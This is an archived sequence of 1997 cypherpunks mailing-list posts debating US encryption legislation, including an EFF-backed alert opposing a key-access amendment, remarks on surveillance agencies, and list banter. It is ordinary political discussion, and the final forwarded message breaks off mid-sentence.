In-Reply-To: <199709181747.KAA00729@chernobyl.software.com>
Message-ID: <199709181816.OAA11677@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199709181747.KAA00729@chernobyl.software.com>, on 09/18/97 
   at 10:47 AM, Alexander <alex.guy@software.com> said:

>> If the White House can get crypto code defined in the true
>> legal sense (that is backed up by case law) as a munition,
>> do US citizens then have a constitutional right to "bear" it?

>You have the right to bear arms, but if it is deadlier than a bee-bee gun
>you will be restricted. ;)

You can only have your rights restricted if you allow them. <EG>

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 19 Sep 1997 02:56:06 +0800
To: Ernest Hua <hua@chromatic.com>
Subject: Re: Supercomputer export link in National Security Committee report
In-Reply-To: <199709181634.JAA26324@ohio.chromatic.com>
Message-ID: <199709181848.OAA12580@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199709181634.JAA26324@ohio.chromatic.com>, on 09/18/97 
   at 09:34 AM, Ernest Hua <hua@chromatic.com> said:

>Are we getting screwed by a false link to supercomputers?

No we got screwed when these so-called "civil-liberties" groups got
envolved. Never has anything good come out of legislation in DC (atleast
nothing in the past 75yrs). There were several of us who warned about
this, of cource if a lobbist isn't lobbying then he is out of a job, so it
is no suprise that our warnings went unheeded.

<sigh> "those who fail to learn from history are doomed to repeat it".

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 19 Sep 1997 03:00:48 +0800
To: Tim May <tcmay@got.net>
Subject: Re: New Computer Security Act
In-Reply-To: <v03102807b04725f6f699@[207.167.93.63]>
Message-ID: <199709181851.OAA12614@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102807b04725f6f699@[207.167.93.63]>, on 09/18/97 
   at 11:44 AM, Tim May <tcmay@got.net> said:

>(Toad.com address changed to algebra.com. Hugh Daniel confirmed to me
>that about 130 subscribers are still using the toad.com address. And he
>confirmed that none of them are getting the traffic sent to the "real"
>Cypherpunks lists, those at algebra.com, cyberpass.net, and ssz.com. I
>again urge folks to get with the program. Toad.com is going to vanish
>someday, at least as any kind of distribution site for CP traffic.)

>At 7:04 PM -0700 9/17/97, John Young wrote:
>>The Computer Security Enhancement Act of 1997 (HR1903)
>>is intended to replace the Computer Security Act of 1987.
>>It redefines the role of NIST in meeting federal computer security
>>and encryption requirements through cooperation of industry.
>>Public use of encryption is also addressed in the bill.
>>

>By the way, today is the 50th anniversary of the National Security Act,
>which created the National Security Agency and the United States Air
>Force, amongst other things (some of them probably still secret).

>I doubt Clinton will be at the Fort Meade HQ for a ceremony, as he's on
>his way to Stanford, where both of us will, amazingly enough, be
>tomorrow. Wish me luck!

Have FUN!!!

I wish I had the time to fly out there. Let me know if you video-tape any
of it as I would be intrested in getting a copy.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 19 Sep 1997 02:59:43 +0800
To: cypherpunks@toad.com
Subject: source of title
Message-ID: <v03110743b04720a95fce@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



No need to answer the question. Just thought the DeToqueville quote was
appropriate to our circumstances the last week or so...

By, the way, if there ever was an Official Cypherpunks Reading List(tm),
the "Road to Serfdom", by Hayek would certainly be on it. There's a 50th
anniversary edition out, with a forward by Milton Friedman...

Cheers,
Bob

--- begin forwarded text


Date:         Thu, 18 Sep 1997 11:33:07 -0500
Reply-To: Hayek Related Research <HAYEK-L@MAELSTROM.STJOHNS.EDU>
Sender: Hayek Related Research <HAYEK-L@MAELSTROM.STJOHNS.EDU>
From: Kent Guida <kent.guida@WORLDNET.ATT.NET>
Subject:      source of title
To: HAYEK-L@MAELSTROM.STJOHNS.EDU

        Regarding the source of Hayekís title, The Road to Serfdom:

        Was it taken from Tocqueville?  I assume it is, but Iíve seen no
explicit
acknowledgment.  Hayekís references to T. all point to him as a soulmate
and precursor.

        The passage in Democracy in America reads:

I am convinced, however, that anarchy is not the principal evil that
democracies ages have to fear, but the least.  For the principle of
equality begets two tendencies: the one leads men straight to independence
and may suddenly drive them into anarchy; the other conducts them by a
longer, more secret, but more certain road to servitude.  Nations readily
discern the former tendency and are prepared to resist it; they are led
away by the latter, without perceiving its drift; hence it is peculiarly
important to point it out.

Vol 2, p.288 in Vintage edition of the Reeve translation

        Did Hayek ever refer to this as the source of his title?  Can
anyone help
me out here?

Kent Guida

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 19 Sep 1997 05:35:14 +0800
To: cypherpunks@Algebra.COM
Subject: Re: y2k as ideological opportunity
Message-ID: <3.0.32.19970918142028.0069d4f8@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



In behalf of the Union of Unorganized Programmers, VZ Nuri-logical wrote:

>when the government finds itself in a crisis. it is
>true at the current rate it looks dismal for the govt to
>fix the problems in time, but govt has huge amounts of 
>monetary resources to throw at problems when it wants to.
>does anyone have any idea how much cash sloshes around in
>defense industries? 
.....................................................


On the PBS daily economics news report the other day, and an economist was
warning that this y2k problem could lead to a recession (don't remember if
he said it would be mild or what).   This is a possibility that the rest of
us ought prepare for  (guess I'll have to see what Harry Brown has to say
about it).

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 19 Sep 1997 05:40:40 +0800
To: cypherpunks@Algebra.COM
Subject: Re: New Computer Security Act
Message-ID: <3.0.32.19970918142320.006883e4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>I doubt Clinton will be at the Fort Meade HQ for a ceremony, as he's on his
>way to Stanford, where both of us will, amazingly enough, be tomorrow. Wish
>me luck!
.................................................


If you will both be there, I wish Clinton luck.
But I missed the post wherein you explained what your visit to Stanford is
about?


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Fri, 19 Sep 1997 03:13:43 +0800
To: cypherpunks@toad.com
Subject: ALERT: On Monday, call Congress to stop Big Brother amendment!
Message-ID: <199709181847.OAA23472@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain



===========================================================================
 ____  _         ____            _   _
| __ )(_) __ _  | __ ) _ __ ___ | |_| |__   ___ _ __   Stop the Big Brother
|  _ \| |/ _` | |  _ \| '__/ _ \| __| '_ \ / _ \ '__|  Amendment, coming next
| |_) | | (_| | | |_) | | | (_) | |_| | | |  __/ |     week in the House
|____/|_|\__, | |____/|_|  \___/ \__|_| |_|\___|_|     Commerce committee!
         |___/
                          Posted September 18, 1997
           Please forward where appropriate until September 28, 1997

                        This alert brought to you by
The Voters Telecommunications Watch, The Center for Democracy & Technology,
              the Electronic Frontier Foundation, Wired Magazine,
                        and Americans for Tax Reform
_________________________________________________________________
Table of Contents
      Stop the Government From Building Big Brother Into The Internet
      What You Can Do
            -Please contact four leading members of Congress
      Background
      About This Alert
_________________________________________________________________
STOP THE GOVERNMENT FROM BUILDING BIG BROTHER INTO THE INTERNET

In 1948, George Orwell described a future world in which Big Brother
peaked over the shoulder of every citizen -- watching every move and
listening to every word.

Now, in 1997, the FBI is pushing the United States Congress to pass
legislation which would make George Orwell's frightening vision a reality.

Next week the House Commerce Committee will meet to consider a
proposal that would require all Americans to provide the government
guaranteed access to their private online communications and business
transactions.  Taking a page out of Orwell's 1984, the FBI-spawned
proposal would require that every part of the Internet -- from the
software on your computer to the network provider that carries your
messages around the net -- be jury-rigged to divulge your private
conversations immediately on request by the FBI (see below).

Unfortunately, this is not a work of fiction.

The amendment, to be offered by Representatives Mike Oxley (R-OH) and
Thomas Manton (D-NY), is a serious threat to your privacy and represents
the first and final step in the construction of a National Surveillance
Infrastructure.

A vote is expected on September 25.  The future of privacy and security
in the information age is in the hands of the Commerce Committee, and
they need to know that folks are watching and care about the outcome.

On Monday September 22, please join thousands of Internet users all across
the country as we call on Congress to stop big brother.  With your help and
support,  we can ensure that George Orwell's 1984 does not become a reality.

All the information you need is attached below.

_________________________________________________________________
WHAT YOU CAN DO

1. ON MONDAY SEPTEMBER 22, pick up the phone and call as many of the four
   leading members of the Commerce committee as you can:

     Chairman Thomas Bliley (R-VA)         (202) 225-2815
     Ranking member John Dingell (D-MI)   (202) 225-4071
     Rep. Tauzin (R-LA)                    (202) 225-4031
     Rep. Markey (D-MA)                    (202) 225-2836

2. Ask for the staffer that handles the encryption issue.

3. Say that you're calling to urge the Congressman to pass SAFE (HR695)
   without amendments.

   Specifically, say that you "OPPOSE THE OXLEY/MANTON BIG BROTHER AMENDMENT.
   Americans should not be required to give the government keys to the front
   door of their house, and they shouldn't be required to give the government
   the keys to unlock their private online communications."

Other amendments may be proposed.  Please urge the Congressman to pass SAFE
"as is" and oppose any amendments. Feel free to use your own words though
here are some points you might want to stress:

- Oxley/Manton is a dramatic expansion of law enforcement power.  It would
   give law enforcement "immediate" access to private online communications
   and business transactions without any notice or knowledge to the user.

- Oxley/Manton is NOT A BALANCE BETWEEN PRIVACY INTERESTS AND LAW
   ENFORCEMENT CONCERNS, as some supporters have argued.  It gives the FBI
   broad new power while stripping Americans of their Fourth Amendment right
   to be secure from unreasonable searches and seizures.

- Oxley/Manton would give the Attorney General authority to dictate the
   design of Internet services and software to suit the needs of law
   enforcement.

- Oxley/Manton would not stop crime. Strong encryption without "immediate
   access" features is available today at home and abroad.

- Oxley/Manton would increase opportunities for cybercrime as criminal hackers
   attack vulnerabilities in the key recovery access system.

4. Let us know how it went!  Go to one of the following web pages, depending
   on who you called, and tell us about the conversation.

   Rep. Bliley     http://www.crypto.com/member/meet.cgi?membid=va07
   Rep. Dingell    http://www.crypto.com/member/meet.cgi?membid=mi16
   Rep. Tauzin     http://www.crypto.com/member/meet.cgi?membid=la03
   Rep. Markey     http://www.crypto.com/member/meet.cgi?membid=ma07

5. Forward this ALERT to your friends and colleagues.

6. Feel good about yourself!  Know that you've stood up for privacy, and
   contacting Congress is more than most people take the time to do!

_________________________________________________________________
BACKGROUND

The House Commerce Committee is considering a bill known as the "Security and
Freedom through Encryption Act" (HR 695, a.k.a. SAFE).  SAFE would
encourage the widespread availability of strong, easy-to-use encryption
technologies in order to protect privacy and promote electronic commerce on
the Internet.  SAFE enjoys broad support from Internet users, civil
liberties advocates, and over 250 members of Congress.

Last week, the Commerce Committee delayed its vote on the SAFE bill in
order to give the Committee more time to study the implications of the
Oxley/Manton amendment, which would change SAFE to ban encryption which
does not contain features that provide law enforcement with "immediate
access" to the plain text of encrypted information, including private
communications and business transactions (visit
http://www.crypto.com/safe_bill/)

The Oxley/Manton amendment would for the first time impose sweeping
restrictions on the ability of American citizens to protect their privacy
on US soil. Specifically, the amendment would:

* PROHIBIT THE DOMESTIC MANUFACTURE AND SALE OF ENCRYPTION PRODUCTS OR
  SERVICES WHICH DO NOT PROVIDE INSTANT ACCESS FOR LAW ENFORCEMENT: The
  proposal would prohibit the manufacture, sale, import, or distribution
  within the United States of any encryption product unless it allows
  "immediate access" to the plain text of any user's messages or files
  without the user's knowledge.

* GRANT BROAD NEW AUTHORITY FOR THE ATTORNEY GENERAL TO SET TECHNICAL
  STANDARDS FOR ENCRYPTION PRODUCTS: The proposal allows the Attorney
  General to set standards for what are and are not acceptable
  encryption products. The proposal's requirement of immediate access to
  plain text would seem to seriously limit the options available to
  encryption manufacturers seeking approval of their products.

The amendment does not specify whether the immediate access "features"
could be activated (or not) at the option of the purchaser or end user.
Nonetheless,  requiring that such a capability be installed in all domestic
communications networks and encryption products is the equivalent of
enabling a national surveillance infrastructure and asserts unprecedented
control over the design of Internet software, hardware, and services.

The amendment is analogous to the government requiring surveillance cameras
in every new house built in the United States, which could be turned on
remotely by the police if you were ever suspected of committing a crime.

Worse yet, such "key escrow" or "key recovery" technologies pose
significant risk to the security of the Internet -- providing new
points of vulnerability for hackers, terrorists, and industrial spies
to exploit.  A recent study by 11 of the worlds leading cryptographers
concluded that the large scale deployment of such technologies would be
too complex and too insecure to meet the needs of an Information Age
society (see http://www.crypto.com/key_study/)

Despite widespread opposition from Internet users, civil liberties
groups, privacy advocates, and the computer and communications
industries, Oxley and Manton plan to push for this FBI spawned amendment
at the Commerce Committee vote.  If it is adopted, it would
represent the first and final step in the development of a national
surveillance infrastructure.

_________________________________________________________________
ABOUT THIS ALERT

This message was brought to you by the Center for Democracy and
Technology (http://www.cdt.org), the Voters Telecommunications Watch
(http://www.vtw.org/), the Electronic Frontier Foundation
(http://www.eff.org/), Wired Magazine (http://www.wired.com/), and
Americans for Tax Reform (http://www.atr.org/) who have joined together
on this alert.

_________________________________________________________________
end alert 09.18.1997 net
===========================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Russell Nelson <nelson@crynwr.com>
Date: Thu, 18 Sep 1997 23:05:54 +0800
To: cypherpunks@toad.com
Subject: PGP signature legal standing?
Message-ID: <19970918145759.25884.qmail@desk.crynwr.com>
MIME-Version: 1.0
Content-Type: text/plain



Is there any legal standing for a PGP signature?  I'm tired of my
luser customers faxing me legal documents, then expecting me to sign
it and fax it back.  Yeah, right, like photoshop can't cut-n-paste.
I've got a fax modem on my Linux box, so I'm going to start (in fact
have started) uuencoding the .g3 file, indicating my assent, and
emailing it back to them.

-- 
-russ <nelson@crynwr.com>    http://www.crynwr.com/~nelson
Crynwr Software supports freed software | PGPok | Freedom causes peace.
521 Pleasant Valley Rd. | +1 315 268 1925 voice | Taxes feed the naked
Potsdam, NY 13676-3213  | +1 315 268 9201 FAX   |   and clothe the hungry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Hedges <hedges@sirius.infonex.com>
Date: Fri, 19 Sep 1997 06:24:32 +0800
To: cypherpunks@cyberpass.net
Subject: politics aren't all or nothing
Message-ID: <Pine.SOL.3.96.970918145504.29000S-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

My problem with the "it's hopeless, politicians are idiots" approach is
the same as my problem with Tim May's approach --- it predisposes one to
think that a revolution and possibly violence are the only way to change
the laws. It is an attitude which constructs an obstacle which may or may
not be there. I get really sick of the inane "nuke DC" talk. Call me a
naive optimist, or an idiot; I believe there's hope to wage and win the
battle politically, and I think there's actually hope for real democracy
without the memetics bullshit and the control and the manipulation. 

I got a personal reply from a Senator to whom I sent that last release
(the one interviewing Michael Wilson of 7Pillars). It wasn't one of those
autoresponders -- it just said "Thank you for your views" with bad text
formatting. At least it did get someone's attention. It might be negative
attention, but dammit, if they're going to look Wilson's reputation in the
face and not at least consider that they might be wrong then they've
obviously all been killed and government programmed clones installed in
their place. They're really well educated people, for the most part ---
somewhere along the line they must have gotten that stuff about
"considering that you are incorrect" and the rest. 

While skimming their web pages looking for information, I found one or two
senators and congress reps who actually offer PGP keys on their web pages! 
Senator Leahy, for one, is a vocal proponent of strong crypto. There is
hope! Some of those people do see "the light" on this issue. It's a matter
of getting the heavy-handed ones to just for a second consider the other
side's view. I think this particular release hits hard because shit,
Wilson's the virtual incarnation of Ares, and the warmongers may listen to
him. I think a lot of them know they're being manipulated, but they get
only a limited set of information from the "authoritative" defense and
intelligence people who give them the "secret classified briefings", and
they simply can't confront the spooks because they think they'd get kicked
from their positions of power in a few years. If they have in their
possession a testimony that a defense and intelligence _scholar_ says that
the spooks are wrong, they may be able to start turning the tide. 

Mostly, I just don't want to get nuked. I don't want the people in
Washington to get nuked. I don't want to be ostracized because a
disjointed group I'm associated with has members who support nuking
political opponents. "Nuke DC" is crap. "Ecash Assassination Politics" is
crap. The loss of faith in one's ability to convince other people with
rational discussion is crap. That whole attitude reminds me of the guys in
early grade school who beat up on me because I was a nerd. I refuse to
sink to their level. 

Mark Hedges


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBNCGn+hVo2SUWMp6NAQH7lwP/dEWDmzEgx9LEs3m68KGWcKNGVUCSjFjd
qOjkBKQQo9Ib+8CefheigwRPXh8J5s4aBJPDVvJbTnvJJ2F7Olr1VpvmhzDwMt8g
A99iSuvn/Dn7cJUmcc5M9aeVhRtXFcl0LRsfOiHQO4eGXia3fWA6BM1pAybIzHAp
4sj8MyE+ZpM=
=8r8K
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Fri, 19 Sep 1997 07:01:50 +0800
To: Declan McCullagh <sameer@c2.net>
Subject: Re: ALERT: On Monday, call Congress to stop Big Brother amendment!
In-Reply-To: <199709182009.NAA27806@gabber.c2.net>
Message-ID: <3.0.1.32.19970918154758.00b84980@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:09 PM 9/18/97 -0400, Declan McCullagh wrote:

>The answer: "I don't think compromise is the right word. But we need to
>give something to law enforcement."

Oh, I agree. I *definitely* think we need to give something to law
enforcement...

THE TOP TEN THINGS WE NEED TO GIVE TO LAW ENFORCEMENT
By Lizard

10)A clue
9)A good kick in the pants.
8)A copy of the US Constitution, and I don't mean the aircraft carrier.
7)Footage of Mussolini hanging upside down with his intestines draped over
this face, as a reminder of the fact that sooner or later, even the most
downtrodden people will say 'enough is enough'.
6)A picture of Aldrich Ames labelled "Would you give YOUR keys to this man?"
5)A pile of "This T-shirt is a munition" T-Shirts.
4)Another clue. (Take two! They're small!)
3)A copy of '1984', along with a note reading "This was a warning, not a
blueprint."
2)An English-Navajo dictionary.

And, lastly...
1)A boot to the head. (Nah-nah)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 19 Sep 1997 07:32:19 +0800
To: cypherpunks@Algebra.COM
Subject: Re: LACC:  DEA Agents Accuse CIA of Tapping Phones
Message-ID: <3.0.32.19970918162902.006888ac@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Brian B. Riley, CIA friend wrote wrote:

>>[...]     We've known for years now that 
>>the jackbooted thugs of the DEA are by far the most law-abusing, 
>>disrespectful, rights-sneering, down-and-dirty, life-threatening, 
>>hair-raising agents of the entire US Government. Bar none. They've 
>>got to be watched, because they're a nasty threat to individual 
>>liberty, and because they routinely interfere with the legitimate 
>>work of other American intelligence agencies. (And they've been 
>>monitored, by the way, since at least 1984, to my knowledge.) 
........................................................


Well, there's watching, and then there's Just Watching.   I would think
that if some agency known to be so untrustworthy that it requires
"watching", that it also deserves some action against its unacceptable
activities immediately as they are discovered.   It's rather ineffective to
just passively monitor/watch what someone is doing, and keeps doing.   This
becomes more like voyeurism.

Which recalls to mind the difference in the effect of surveillance upon
different kinds of people:  to those with personal standards for
self-control/self-government, it is highly disturbing; to those with none,
it is not even annoying.

Just a comment on surveillance in general.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 19 Sep 1997 07:56:44 +0800
To: Blanc <blancw@cnw.com>
Subject: Re: New Computer Security Act
In-Reply-To: <3.0.32.19970918142320.006883e4@cnw.com>
Message-ID: <Pine.SUN.3.91.970918164937.7416A-100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



Blanc,
I believe the  less we know about Tim's intentions for that fateful day, 
the better we are off. :-)

--Lucky


On Thu, 18 Sep 1997, Blanc wrote:

> Tim May wrote:
> 
> >I doubt Clinton will be at the Fort Meade HQ for a ceremony, as he's on his
> >way to Stanford, where both of us will, amazingly enough, be tomorrow. Wish
> >me luck!
> .................................................
> 
> 
> If you will both be there, I wish Clinton luck.
> But I missed the post wherein you explained what your visit to Stanford is
> about?
> 
> 
>     ..
> Blanc
> 
> 


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Fri, 19 Sep 1997 04:15:45 +0800
To: vznuri@netcom.com
Subject: Re: y2k as ideological opportunity
In-Reply-To: <199709181916.MAA17831@netcom13.netcom.com>
Message-ID: <199709182054.QAA03430@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Vlad the Imposter writes:

> this is my call out to PROGRAMMERS not to work on projects
> that you don't consider ideologically valid. let's start
> a movement in which "intellectual capital" refuses to be
> routed toward supporting oppressive, self-perpetuating,
> dying welfare-state institutions.  imagine a worldwide
> programmer union or movement in which programmers refuse
> to work on y2k problems in the government and refuse to
> work on other projects they do not support, no matter what
> the money. 
> 
> they say that every man has his price.
> integrity has no price!! imagine, would you turn down any
> amount of money to work on the corrupt state mechanisms?
> this is exactly what is required to bring them down. as
> long as they can continue to bribe the populace with its
> own money, they will continue.

Wow.  I never expected to see Detweiler championing Tim's "collapse
of governments" theme.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 19 Sep 1997 08:05:36 +0800
To: Mark Hedges <hedges@sirius.infonex.com>
Subject: Re: politics aren't all or nothing
Message-ID: <3.0.32.19970918170111.006a4734@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Mark Hedges wrote about our reps in government:

>They're really well educated people, for the most part ---
>somewhere along the line they must have gotten that stuff about
>"considering that you are incorrect" and the rest. 
....................................................

Most Senators & Representatives have been educated to know the answers to
questions like:

	5. How many branches of the federal government are there?
	6. How many senators are there in the U.S. Congress?
	7. How many years are there in a Senate term?

rather than the answers to questions like:

	3.  What are the reasons for each of rights enumerated by 
	      the Bill of Rights?
	4.  What are the rights of the government?  Does it have any?
	5.  What is the difference between rights and powers?

So part of the problem is that conversations don't necessarly proceed along
the same lines; that is, towards achieving the same end.   A philosopher I
read stated that the difference in certain controversies is that the
parties are not aligned towards the same goals because they do not hold the
same *values* (even before getting into a consideration of the means used
to support those values).

But I have noted that it is much easier to discuss anything with anyone
who, regardless of their political or philosophical inclinations or past
education, has an open, rational state of mind; i.e., someone who *thinks*
about things, who is fearless about introducing facts into their mental
content and will not back away from seeing the whole picture.   Otherwise
they will be moved to make decisions based on convenience, rather than on a
wide perspective of what it will do to one's way of life in the future.

Harried Congressmen who have too many decisions to make and inadequate
background preparation and too little time to make those decisions, are not
going to be as eager to reason on the meanings and significance and
consequences of many of the bills and requests for government action which
they receive, even if they *are* bright and educated.

If I was in their position, I would think it would be imperative to know
very quickly what to eliminate from serious consideration, even more than
of calculating what sort of governing action to take.   But they are
elected to govern, and by jove, that is what they set themselves to do,
regardless.

Try to convince them that we don't need them all that much.   <g>


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 19 Sep 1997 08:11:32 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: New Computer Security Act
Message-ID: <3.0.32.19970918170854.006914b4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:

>Blanc,
>I believe the  less we know about Tim's intentions for that fateful day, 
>the better we are off. :-)
................................................


Well, somebody please take notes, and maybe a camera for pictures for a web
site (in case things get very exciting).  

Inquiring minds want to know!

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 19 Sep 1997 05:24:55 +0800
To: Tim May <tcmay@got.net>
Subject: Re: New Computer Security Act
In-Reply-To: <1.5.4.32.19970918020421.006952c4@pop.pipeline.com>
Message-ID: <v03007802b0473e8b92bf@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:44 -0700 9/18/97, Tim May wrote:
>By the way, today is the 50th anniversary of the National Security Act,
>which created the National Security Agency and the United States Air Force,
>amongst other things (some of them probably still secret).
>
>I doubt Clinton will be at the Fort Meade HQ for a ceremony, as he's on his
>way to Stanford, where both of us will, amazingly enough, be tomorrow. Wish
>me luck!

No, Clinton didn't make it to Fort Meade today, though he could have -- he
and Hillary aren't leaving for California until later this afternoon.
There's plenty of time since Air Force One only takes two hours to cross
the country. This from other folks in the bureau who have travelled with
him (and in fact will be going with him to CA); I haven't been on the
Presidential Plane myself.

Instead, he went to the Pentagon to celebrate the 50th anniversary of the
Air Force. If Clinton went to Fort Meade, the press weren't told about it.

Clinton is speaking at Stanford University's convocation tomorrow at 3:30,
returns to Hyatt Rickeys afterwards. Don't know if he's overnighting in
California or not.

Tim, just promise me if you're arrested, you'll call me (collect) from jail
and tell me the story. (After you call your lawyer, of course.)

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Fri, 19 Sep 1997 05:38:15 +0800
To: "CypherPunks List" <cypherpunks@Algebra.COM>
Subject: Re: LACC:  DEA Agents Accuse CIA of Tapping Phones
Message-ID: <199709182118.RAA26741@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


   I sent a copy of this post to a buddy of mine who retired from the
CIA not too long ago ... these were his comments on the matter; FWIW.

>>>But legal experts say it could be a difficult lawsuit to
>>>win, especially since an employer - in this case the
>>>government - generally has a right to listen to employee
>>>conversation on office phones.
>
>They're right.
>
>>>It also doesn't help that national security was involved
>>>and that courts have held that U.S. citizens don't have
>>>constitutional rights overseas.
>
>Completely wrong. No court has so ruled; the writer is confusing 
>the Bern Convention, signed by almost every nation on earth, which 
>formally establishes the the rule of "lex loci," or law of the land 
>where the individual is found. This is only a common-sense 
>restatement of old principles of Roman AND common law, whereby a 
>national of country X can never act with impunity in country B. 
>It's as old as Hammurabi. There is NO "ruling" that establishes 
>that an American citizen forfeits his Constitutional rights 
>vis-a-vis the United States Government, and to claim otherwise is 
>to insult the truth. 
>
>>>``It's an uphill battle. It's going to be a tough suit,'' said
>>>constitutional law expert Paul Rothstein of Georgetown
>>>University.
>
>Maybe so. But it'll be fun to watch. We've known for years now that 
>the jackbooted thugs of the DEA are by far the most law-abusing, 
>disrespectful, rights-sneering, down-and-dirty, life-threatening, 
>hair-raising agents of the entire US Government. Bar none. They've 
>got to be watched, because they're a nasty threat to individual 
>liberty, and because they routinely interfere with the legitimate 
>work of other American intelligence agencies. (And they've been 
>monitored, by the way, since at least 1984, to my knowledge.) 
>
>>>"It is not the CIA's mission, nor is it part of the
>>>operations of the agency, to surveil in any manner
>>>U.S. officials, or other U.S. citizens at home or
>>>abroad,'' Mansfield said.
>
>Well, that's the kind of in-your-face lying that brings deserved 
>contempt down on the heads of the intelligence community. I disdain 
>it, and have done so publicly. The sonofabitch needs to say openly 
>that you're damned right the CIA and NSA do this, and here's WHY we 
>do it... 
>
>>>The only exception would be in counterintelligence
>>>cases, he added, and then only in consultation with
>>>senior Justice Department officials.
>
>Yeah. A GS-12 giggler.
>
>>>In Horn's previous case, Leighton said, the Justice
>>>Department angered DEA agents by claiming they
>>>have no Fourth Amendment constitutional right
>>>against wiretapping when working outside the
>>>country.
>
>See? The ignorance of DEA agents is legendary!
>
>>>Leighton, a former federal prosecutor, said the
>>>lawsuit doesn't address the reasons for the alleged
>>>electronic eavesdropping.
>
>Ever heard of Title 18 of the US Code, stupid one?
>
>>>"My assumption is because they want to know
>>>what DEA is doing, they want to rip off DEA
>>>informants, they want to know DEA contacts
>>>within foreign governments,'' Leighton said.
>>>``And with the Cold War over, these agencies
>>>are looking for a new mission.''
>
>Nice try, slick. But it ain't so much the desire for their network 
>as it is a desire to prove that a huge number of DEA agents have 
>been involved in drug-running and foreign government corruption for 
>at least 14 years now. Like that?
>
>>>Horn's residence ``was the target of a U.S.
>>>Government Agency-sponsored electronic audio
>>>intercept,'' it said.
>
>I'd love to be on the stand here. I'd LOVE to hear this arrogant 
>schmuck try and "prove" that the "tap" (if there ever was one) was 
>of US origin! What an ignorant ass...
>
>>>"Horn had occasion to see a cable containing
>>>his words in quotation marks, that he had spoken
>>>to another DEA agent, set forth exactly as stated...''
>
>Tsk tsk. Imagine that. And of course it just never occurs to the 
>fool that we can also derive such intel from third-party sources 
>and governments. 
>
>>>The suit, assigned to U.S. District Judge Harold H. Greene,
>
>Oh, yea! The same trigger-happy judge that fathered the infamous 
